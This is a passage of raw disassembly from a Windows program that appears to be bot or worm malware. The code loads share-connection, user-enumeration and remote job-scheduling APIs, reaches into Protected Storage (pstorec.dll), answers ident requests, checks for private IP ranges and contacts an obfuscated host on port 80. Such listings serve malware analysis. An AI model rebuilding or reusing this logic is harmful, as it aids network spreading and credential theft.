; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call ds:dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call ds:dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call ds:dword_417238 ; ntohs movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call ds:dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call ds:dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; strcpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; strcpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: .text:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call ds:dword_417058 ; GetProcAddress mov dword_41DE40, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE48, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE4C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE50, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE5C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE60, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE64, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call ds:dword_417058 ; GetProcAddress mov dword_41DE68, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE6C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE70, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE74, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call ds:dword_417058 ; GetProcAddress mov dword_41DE78, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE84, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE88, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call ds:dword_417058 ; GetProcAddress mov dword_41DE8C, eax cmp dword_41DE84, 0 jz short loc_403D85 cmp dword_41DE88, 0 jz short loc_403D85 cmp dword_41DE8C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE84, offset sub_403588 mov dword_41DE88, offset sub_4038BA mov dword_41DE8C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call ds:dword_417058 ; GetProcAddress mov dword_41DE80, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call ds:dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call ds:dword_417058 ; GetProcAddress mov dword_41DE7C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EEC8 test eax, eax jz short loc_403F27 push offset byte_41EEC8 lea eax, [ebp+var_1224] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EEC8 call sub_416B3A ; strcpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; strcat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset a127_ ; "127." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset a172_ ; "172." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset a192_168_ ; "192.168." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset a10_ ; "10." push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E294, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E298 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E294 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E298 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call ds:dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset a1 ; "::1" call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset aXsUlsbNP ; "•‘Àž«˜¡Ð¾°¶" lea eax, [ebp+var_1C] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call ds:dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based 